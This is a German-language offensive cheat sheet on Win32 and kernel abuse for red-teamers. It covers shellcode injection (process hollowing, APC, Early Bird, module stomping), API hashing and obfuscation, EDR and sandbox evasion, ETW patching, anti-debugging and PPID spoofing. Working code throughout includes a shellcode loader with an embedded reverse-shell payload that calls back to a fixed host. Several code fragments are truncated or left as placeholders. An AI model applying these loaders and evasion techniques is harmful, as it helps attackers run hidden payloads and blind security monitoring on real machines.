
Win32- und Kernel-Missbrauchstechniken für Pentester
Techniken zum Missbrauch von Win32 und Kernel für Pentester & Red-Teamer, erstellt von @UVision und @RistBS
Dev-Modus aktiviert, offen für jede Hilfe :)
DOS_HEADER : Erster Header der PE, enthält die MS-DOS-Meldung („This programm cannot be run in DOS mode...."), MZ-Header (Magic Bytes zur Identifizierung der PE) sowie etwas Stub-Inhalt.IMAGE_NT_HEADER : Enthält die PE-Dateisignatur, den Datei-Header und den optionalen HeaderSECTION_TABLE : Enthält die AbschnittsheaderSECTIONS : Kein Header, aber nützlich zu wissen: Dies sind die Abschnitte der PEEinfaches PE-Parsing zur Ermittlung der absoluten IAT- und ILT-Adresse:
GetModuleHandleA(NULL);Basisadresse+PIMAGE_DOS_HEADER.e_lfnanew (RVA NT_HEADER)OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] von PIMAGE_NT_HEADERIMAGE_DATA_DIRECTORY.VirtualAddress (RVA von IMAGE_IMPORT_DIRECTORY)Basisadresse + IMAGE_IMPORT_DIRECTORY.VirtualAddress (RVA von IMAGE_IMPORT_DESCRIPTOR)Die EAT löst alle Funktionen auf, die von der PE exportiert werden, und löst auch DLLs auf. Sie ist in der IMAGE_EXPORT_DIRECTORY-Struktur definiert:```c
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name; // name of DLL
DWORD Base; // first ordinal number
DWORD NumberOfFunctions; // number of entries in EAT
DWORD NumberOfNames; // number of entries in (1) (2)
DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions
DWORD AddressOfNames; // Pointer array contains address of function names
DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
Bitte beachten Sie, dass die EAT in einer DLL definiert ist, nicht in einer „echten“ PE (eine PE verwendet die EAT einer geladenen DLL, um Zeiger auf Funktionen aufzulösen, die sie verwenden möchte).
### Funktionsadresse auflösen
**Mithilfe der Funktionsadresse**
Worauf warten Sie? Finden Sie diese Funktion!
**Mithilfe der Ordinalzahl**
Eine Ordinalzahl ist eine **Indexposition** zur entsprechenden Funktionsadresse im `AddressOfFunctions`-Array. Sie kann verwendet werden, um **die korrekte Adresse der Funktion abzurufen**, wie unten:
Lassen Sie uns versuchen, die entsprechende Adresse (Addr4) mit der gegebenen Ordinalzahl 3 zu finden.
- **AddressOfFunctions** : *Addr1 Addr2 Addr3 Addr4 .... AddrN*
- **AdressOfNameOrdinals** : *2 5 7 3 ... N*
Die gesuchte Adresse befindet sich an 3. Stelle (ab 0), und unsere Ordinalzahl entspricht dem **Index dieser Adresse**.
**Mithilfe des Funktionsnamens**
Das N-te Element im AddressOfNames-Array entspricht dem N-ten Element im AddressOfNameOrdinals-Array: Mit einem gegebenen Namen können Sie die entsprechende Ordinalzahl abrufen und anschließend die Funktionsadresse mithilfe dieser Zahl finden.
## Import Address Table (IAT)
- Der PE-Loader weiß nicht, welche Adresse zu welcher Funktion gehört: Rufen wir die IAT zu Hilfe.
- Definiert in der IMAGE_IMPORT_DIRECTORY-Struktur:```c
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
DWORD Characteristics;
DWORD OriginalFirstThunk; // RVA to ILT
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name; // RVA of imported DLL name
DWORD FirstThunk; // RVA to IAT
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;
Zusammenfassend ist die IAT eine Tabelle, die Zeiger auf mehrere Funktionen enthält, die von der PE aus geladenen DLLs (ntdll, kernel32...) importiert werden.
Detailliertes Codebeispiel hier : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/miscellaneous/iat_parser.cpp
Jede von der PE importierte DLL hat eine eigene ILT.``` Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)
Es enthält die Namen aller Funktionen, die in der importierten DLL enthalten sind.
<br>
## SeDebug-Privileg aktivieren
Das **SeDebug**-Privileg ist das „meistgesuchte“ Privileg in der gesamten Windows-Privilegienliste. Es erlaubt Ihnen, jeden autorisierten Prozess zu „debuggen“, was sich in verschiedene offensive Aktionen übersetzen lässt, etwa das Öffnen eines Handles mit ```PROCESS_ALL_ACCESS```-Berechtigungen.
Um es im Benutzermodus zu aktivieren, müssen Sie eine Funktion wie die folgende verwenden:```cpp
void EnableDebugPriv()
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);
CloseHandle(hToken);
}
Diese Funktion öffnet das Token Ihres aktuellen Prozesses und setzt es dann auf das SE_PRIVILEGE_ENABLED-Privileg, das dem Ziel-Privileg entspricht.
Codebeispiel : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/classic.cpp
Diese Technik hatte vor einigen Jahren gute Erfolgsraten bei Umgehungen; allerdings sollte das Schreiben auf die Festplatte angesichts der zunehmenden Anzahl von EDR- und anderen Endpoint-Lösungen nach Möglichkeit vermieden werden.
Codebeispiel : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_classic.cpp
Sie können eine rohe Binärdatei im Speicher ausführen, indem Sie den benötigten Speicherplatz in einer Speicherregion zuweisen :```cpp HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL); SIZE_T size = GetFileSize(binfile,NULL); LPVOID buffer=NULL; ReadFile(binfile,buffer,size,NULL,NULL); HANDLE hProc = GetCurrentProcess();
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); CloseHandle(hProc);
<br>
# Techniken zur Code-Injektion
## CreateRemoteThread-Injektion
Schreibe deinen Shellcode einfach in einen zuvor im Zielprozess allokierten Speicherbereich. (Nicht OPSEC-sicher)
> Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp
## Process Hollowing
Process Hollowing wird in mehreren Schritten durchgeführt:
- Erstelle den Zielprozess (den „ausgehöhlten“) im ausgesetzten Modus: Es ist notwendig, ihn zu modifizieren
- Entferne die Abbildung des Zielprozesses aus seiner PEB (Du musst diese Struktur zuerst deklarieren)
- Schreibe den Inhalt der neuen exe in diesen Prozess: Header + Inhalt
- Analysiere und wende die Relocation-Tabelle an
- Lasse den Prozess in seinem Thread weiterlaufen
- Viel Spaß
> Ein vollständiger POC ist hier zu finden: https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations
## APC-Queue-Technik
Schreibe deinen Shellcode in alle verfügbaren Threads eines Prozesses und verwende dann die Funktion ```QueueUserAPC()```, um einen APC-Aufruf auszulösen. Diese Technik kann unzuverlässig sein, wenn der kompromittierte Prozess nicht viele Threads hat.
> Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp
## Early Bird
Ähnlich wie bei der APC-Queue-Injektion muss der APC-Aufruf hier in einem ausgesetzten Prozess gesetzt werden. Der Hauptthread des erstellten Prozesses wird dann fortgesetzt; der Hauptvorteil dieser Technik besteht darin, dass der Shellcode nicht in einen laufenden Prozess geschrieben werden muss, was von AV/EDRs weniger erkannt wird.
> Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp
## Reflektive DLL-Injektion
Wie bei der „statischen“ DLL-Injektion (durch Verwendung einer DLL-Datei) kannst du deine eigene DLL in den meisten Prozessen injizieren, indem du sie im Speicher reflektierst. Sie hat den Vorteil, einige AV/EDR-Produkte leicht zu umgehen, auch wenn sie heute eine ziemlich auffällige Methode ist.
Du musst zuerst Speicher allokieren und etwas Relocation-Arbeit leisten, damit es funktioniert.
Der bekannte POC zu dieser Technik wurde von stephenfewer veröffentlicht: https://github.com/stephenfewer/ReflectiveDLLInjection
## DLL-Injektion
Du kannst Code, der in einer DLL gespeichert ist, in einen entfernten Prozess injizieren. Leider werden EDR-Produkte dies wahrscheinlich leicht erkennen, insbesondere wenn die bösartige DLL die Festplatte berührt.
> Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp
## Process Doppelganging
Process Doppelganging war bis vor einigen Jahren eine unentdeckte Methode, um deine eigene Payload auf eine trickreiche Weise zu starten. Es wurde auf der BlackHat 2017 von Tal Liberman und Eugene Kogan demonstriert, sieh dir ihre beeindruckende Arbeit an: https://www.youtube.com/watch?v=Cch8dvp836w
Es ist ein „Zwischenschritt“ vor der Process-Hollowing-Technik: Das PE-Image wird tatsächlich überschrieben, bevor es ausgeführt wird, sodass der WindowsLoader das Process Hollowing für uns erledigt (ziemlich cool, oder?).
Hasherezade hat einige coole POCs zu dieser Technik erstellt, verfügbar hier: https://github.com/hasherezade/process_doppelganging
## Fibers
Fibers können definiert werden als ```cooperatively
threads (https://nullprogram.com/blog/2019/03/28/)```. Sie erlaubt es dem Hauptprogramm, den Shellcode über diesen neuen Thread-Typ auszuführen.
> Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp
## MapView-Code-Injektion
Diese Technik erlaubt es dir, eine Sicht auf eine Speicher-Section in deinem bösartigen Prozess mit einem anderen entfernten Prozess zu teilen, der deinen in dieser Sicht gespeicherten Shellcode ausführt. Dies kann mithilfe von NtCreateSection/NtMapViewOfSection erfolgen, wodurch du stark überwachte Prozeduren wie WriteProcessMemory() oder VirtualAlloc() vermeiden kannst (allerdings kann auch NtMapViewOfSection überwacht werden).
Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp
## Module Stomping
Diese Technik bewirkt, dass dein Beacon durch ein Modul auf der Festplatte hinterlegt wird.```c
CHAR moduleName[] = "windows.storage.dll\x00";
HMODULE hVictimLib = LoadLibraryA(moduleName);
DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
RXSection += 0x1000 * 0x2;
RXSection += 0xc;
char* ptr = ( char* )RXSection;
Um Module Stomping zu erkennen (insbesondere bei Cobalt Strike), wurde ein Scanner namens DetectCobaltStomp veröffentlicht, um einige IoCs der Technik hervorzuheben, aber der Autor von Brute Ratel konnte die ursprüngliche Technik verbessern.
Ersetzen Sie einfach die ursprüngliche Funktionsadresse (erhalten mit GetProcAddress) durch die neue. Diese Technik wird von seinem Autor ausführlich beschrieben: https://idov31.github.io/2022-01-28-function-stomping/
Inline hooking ist die grundlegendste Methode, eine Funktion zu hooken: Es besteht einfach darin, den API-Aufruf auf die eigene Funktion umzuleiten (jump).
Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
Indem Sie die entsprechende Funktionsadresse in einen Pointer auf Ihre eigene Funktion ändern, können Sie das Programm dazu bringen, Ihren eigenen Code auszuführen.
Dies kann in mehreren Schritten erfolgen:
Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp
Es gibt mehrere Techniken, mit denen Sie Ihre Aufrufe an die Win32-API verbergen können. Hier sind einige davon:
char[]-Array, um Ihre Funktions- und DLL-Namen in mehrere Zeichen zu zerlegen```cpp
char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte> Sie können diesen Trick sogar mit einer Umwandlung von ASCII-Zeichencodes kombinieren.
## Manuelle Funktionsauflösung
Sie können manuell einen Zeiger auf eine beliebige Funktion von kernel32, ntdll und vielem mehr auflösen.
- Deklarieren Sie zuerst die Vorlage Ihrer Funktion, basierend auf dem tatsächlichen Funktionsheader :```cpp
typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*
> Zögern Sie nicht, diese Technik mit einer gewissen String-Verschleierung zu kombinieren, um den echten Funktionsnamen nicht im Klartext zu übergeben.
## Win32-API-Hashing
Sie können Ihre API-Funktionsaufrufe verbergen, indem Sie sie mit einem Hash-Algorithmus hashen (djb2 ist der am häufigsten verwendete). Seien Sie sich möglicher Hash-Kollisionen bewusst, die bei einigen speziellen Funktionen auftreten können. Kombinieren Sie diese Technik dann mit einer direkten Adressauflösung in der EAT und lassen Sie die Reverser weinen :)
<br>
# EDR/Endpoint-Bypass
## Direkter Syscall
Die meisten EDR-Produkte hooken Win32-API-Aufrufe im Benutzermodus (PatchGuard reduziert die Verfügbarkeit von Kernel-Hooks erheblich). Um diese Hooks zu umgehen, können Sie direkt die Nt()-Äquivalente Ihrer API-Funktionen aufrufen.
-```asm
.code
SysNtCreateFile proc
mov r10, rcx //syscall convention
mov eax, 55h //syscall number : in this case it's NtCreateFile
syscall //call nt function
ret
SysNtCreateFile endp
end
Finde die richtige Syscall-Nummer in dieser Tabelle : https://j00ru.vexillium.org/syscalls/nt/64/
- Die NT-Adresse auflösen```cpp
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
Codebeispiel : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/direct_syscall.cpp
C++/C werden von AV/EDR-Produkten häufiger erkannt als gleichwertige Hochsprachen: Verwende Go, Rust oder eine andere Sprache, um deine besten Templates zu erstellen,
Hooke deine gehookten Funktionen einfach (erneut), indem du den richtigen Funktionsaufruf anwendest: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
Um Hooks zu erkennen, musst du zuerst die Basisadresse der NTDLL mit LoadLibrary abrufen. Danach analysierst du die PE-Header, um den EAT (IMAGE_EXPORT_DIRECTORY) und seine Offsets zu lokalisieren, die alle wichtigen Informationen enthalten (exportierte Funktionen + Name). Löse einfach die Funktionsnamen und -adressen auf, während du durch die exportierten Funktionen iterierst, und wende die folgenden if-Anweisungen an, um Funktionen zu sortieren
> **⚠️** : einige Funktionen sind False Positives, ich empfehle dir, sie zu erkennen :```c
if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }
if-Anweisung, ob die ersten 4 Bytes von functionName gleich mov r10, rcx; mov eax, ## sind, was der Anfang des Syscall-Stubs ist.```c
if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }> Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c
## ETW patchen
Event Tracing for Windows (ETW) ist eine Low-Level-API zur Protokollierung, die zum Debuggen/Protokollieren von Kernel- und Usermode-Prozessen verwendet werden kann. Sie wurde erstmals in Windows 2000 implementiert, aber die Echtzeit-Überwachung ist erst seit Windows XP wirklich verfügbar.
Die ETW-API ist über Header-Dateien verfügbar, die von Microsoft bereitgestellt werden: https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/
Bei einem Pentest solltest du dich um diese Funktionalität kümmern, indem du sie patcht: Der üblichste Weg ist, beliebige ```ret```-Opcodes in die ETW-Ereignisschreibfunktion (```EtwEventWrite```) zu schreiben, um zu verhindern, dass Logs irgendwo geschrieben werden.
Codebeispiel: //
## Sandbox-Umgehung
Sandboxen werden von AV/EDRs häufig verwendet, um einige API-Aufrufe und andere Teile des Codes zu testen, bevor dein Programm tatsächlich ausgeführt wird. Es gibt verschiedene Techniken, um dieses Tool zu umgehen. Hier sind einige davon:
- Warte. Ernsthaft. Eine Funktion wie `Sleep()` oder `time.sleep()` oder ein Äquivalent erledigt das für ein paar Sekunden, bevor der eigentliche Shellcode ausgeführt wird.
- Versuche, viel Speicher zu allokieren (malloc), zum Beispiel 100000000 Bytes.
- Versuche zu erkennen, ob du dich tatsächlich in einer Sandbox-(VM-)Umgebung befindest: teste auf offene Prozesse, Dateien und andere verdächtige Dinge.
- Versuche, eine gefälschte (nicht funktionierende) URL aufzulösen: Viele AV-Produkte antworten mit einer gefälschten Seite.
- Verwende ungewöhnliche und selten genutzte API-Aufrufe, wie `VirtualAllocExNuma()` – die meisten Sandboxen können diese Art von Aufruf nicht emulieren.```cpp
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
Keine echte AV-Umgehungstechnik, aber dennoch nützlich, um nicht zu leicht von RE-Ingenieuren zurückentwickelt zu werden. Es gibt so viele Möglichkeiten, Debugger zu erkennen oder sie verrückt zu machen, aber hier sind einige davon unten:
Flags-Methode
Du kannst IsDebuggerPresent() (Win32) oder den direkten Aufruf NtQueryInformationProcess() (nicht sehr gut dokumentiert) verwenden, um nach Debug-Flags zu suchen.
Handles-Methode
Versuche, ungültige (fehlende) Handles mit der CloseHandle()-API zu schließen. Der Debugger wird versuchen, die Ausnahme abzufangen, was leicht erkannt werden kann:```cpp bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle { __try { CloseHandle((HANDLE)0xDEADBEEF); return false; } __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode() ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { return true; } }
**ASM-Methode**
Versuchen Sie, einen INT 3-Aufruf (ASM) durchzuführen : er entspricht einem Software-Breakpoint, der einen Debugger auslöst. Es gibt viele andere Möglichkeiten, einen Debugger zu erkennen, von denen viele unter : https://anti-debug.checkpoint.com/ zusammengestellt sind.
## VirtualProtect-Technik
Mit ein paar Tricks bei `VirtualProtect()` können Sie leicht vermeiden, im Speicher erkannt zu werden : wechseln Sie zwischen `PAGE_EXECUTE_READWRITE` und `PAGE_READWRITE` (weniger verdächtig), um Ihr bevorzugtes AV nicht auszulösen.
## Fresh Copy Unhook
Vermeiden Sie Hooks, indem Sie die "gehookte" ntdll durch eine frische ersetzen, die direkt von der Festplatte gemappt wird.
Codebeispiel : // to add
## Hells Gate
Um hartcodierte Syscalls zu vermeiden, ruft Hell's Gate (Hells Gates ?) sie dynamisch ab, indem es die EAT parst (Speicherbytes mit Syscall-Opcodes vergleicht). Das ursprüngliche Poc wurde vom großartigen VX-Underground-Team erstellt und kann hier gefunden werden : https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z
Ein weiteres Beispiel : https://github.com/am0nsec/HellsGate
## Heavens Gate
Nutzen Sie Wow64, um ein 64-Bit-Payload in einen 32-Bit-Loader zu injizieren. Das kann nützlich sein, um einige AV/EDRs zu umgehen, da Wow64 verhindert, dass Sie im Userland erwischt werden.
Die bekannteste Version dieser Technik wurde vom MSF-Team erstellt, sehen Sie sich ihre großartige Arbeit hier an : https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm
## CreateThreadPoolWait
Durch den Missbrauch von CreateThreadPoolWait(), das einen Zeiger auf eine Callback-Funktion akzeptieren kann, können Sie Ihren Shellcode über diese Prozedur ausführen. Viele ähnliche Techniken (unter Verwendung eines Callback-Funktionszeigers) sind verfügbar unter : http://ropgadget.com/posts/abusing_win_functions.html
Beispiel :```cpp
//code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait
#include <windows.h>
#include <threadpoolapiset.h>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main()
{
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
return 0;
}
Entführen Sie einen Thread in einem entfernten Prozess, indem Sie ihn anhalten und dann sein RIP-Register (oder EIP, falls Sie auf x86 sind) durch die Adresse Ihres eigenen Shellcodes ersetzen.
Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/thread_hijacking.c
Wenn ein verdächtiger/anormaler Prozess unter einem "legitimen" oder unbeaufsichtigten Elternprozess gestartet wird, wird das sehr verdächtig. Denken Sie an ein bösartiges Word-Makro, das einen PowerShell-Prozess bereitstellt: so seltsam, oder?
PPID Spoofing kann das vermeiden, indem es Ihnen erlaubt, die Prozess-ID des übergeordneten Prozesses (PPID) Ihres erzeugten Prozesses zu ändern.```cpp #include <windows.h> #include <TlHelp32.h> #include
//code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA));
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
return 0;
}
## Process Instrumentation Callback
Process Instrumentation Callback ist definiert als das `ProcessInstrumentationCallback`-Flag (`0x40`) und wird von Sicherheitsprodukten verwendet, um [potenzielle direkte Syscall-Aufrufe zu erkennen](https://winternl.com/detecting-manual-syscalls-from-user-mode/), indem ein Callback registriert wird, der prüft, ob die `syscall`-Anweisung aus dem ausführbaren Image und nicht aus NTDLL stammt. Um es für unseren Prozess zu umgehen, müssen wir lediglich `Callback` auf `NULL` setzen.```c
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;
InstrumentationCallbackInfo.Version = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;
NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );
es ist immer noch "undokumentiert" von microsoft, aber Alex Ionescu hat es hier dokumentiert und Everdox ebenfalls hier
Vollständiger Code zur Umgehung der Instrumentierung hier : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/disable_instrumentation_callback.c
Gehe den Heap mit HeapWalk durch und verschlüssele dann die Allokationen :```c
VOID HeapEncryptDecrypt() {
PROCESS_HEAP_ENTRY HeapWalkEntry;
SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) );
while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) {
if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) {
XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData );
}
}
}
> weitere Informationen hier: https://www.arashparsa.com/hook-heaps-and-live-free/
## Sleep Obfuscation
Viele PoCs rund um Sleep Obfuscation verwenden unterschiedliche Mechanismen (UM APCs, TP und mehr); hier nehmen wir als Beispiel [Ekko](https://github.com/Cracked5pider/Ekko/), das am einfachsten zu verstehende PoC.
Die ROP-Kette von Ekko ist sehr einfach: Sie ändert den Speicherschutz auf `RW`, verschlüsselt den Bereich mit `SystemFunction032`, das RC4 implementiert, schläft mit `WaitForSingleObject`, entschlüsselt den Bereich und stellt den Schutz wieder auf `RWX`. Schließlich reiht sie alle `CONTEXT`-Strukturen mit `CreateTimerQueueTimer` in die Warteschlange ein.
> Einige Scanner wie [TickTock](https://github.com/WithSecureLabs/TickTock) oder [Patriot](https://github.com/joe-desimone/patriot) wurden veröffentlicht, um das zu erkennen, aber du kannst sie vermeiden, indem du einen Trampolin zu `NtContinue` in NTDLL mit einem Gadget verwendest und das `Rip`-Register in der ROP-Kette ersetzt.
<br>
# Grundlagen der Treiberprogrammierung
## Allgemeine Konzepte
Treiber werden verwendet, um Code im Kernelmodus statt im Benutzermodus auszuführen. Es ist eine mächtige Technik, um alle Usermode-Hooks und Überwachungen zu umgehen, die von AV/EDRs eingerichtet wurden. Sie kann auch verwendet werden, um Kernel-Callbacks und andere Kernel-Überwachungen zu umgehen.
Der Code eines jeden Treibers muss geprüft werden (jede Warnung sollte als Fehler behandelt werden), um sicherzustellen, dass er absturzsicher ist (Du willst doch während eines Pentests keinen BSOD verursachen, oder?).
Vor einigen Jahren beschloss Microsoft, nicht signierte Treiber aus seinem Betriebssystem zu verbannen: Du musst dies deaktivieren, bevor du deinen eigenen Treiber lädst, oder eine Schwachstelle nutzen (wie https://github.com/hmnthabit/CVE-2018-19320-LPE), um die Treibersignierung zu deaktivieren.
In einem echten Pentest musst du einen verwundbaren Treiber finden und profitieren:)
## System Service Dispatch Table (SSDT)
SSDT, oder System Service Dispatch Table, ist eine Tabelle (offensichtlich), die anhand ihres aktuellen Index die entsprechende Nt-Funktion auflösen kann. Wenn ein Usermode-Aufruf getätigt wird, wird er wie folgt aufgelöst:
- ```OpenProcess``` (Die Win32-API-Funktion wird aufgerufen)
- ```NtOpenProcess``` (In ntdll.dll aufgelöst)```asm
mov r10, rcx
mov eax, 26
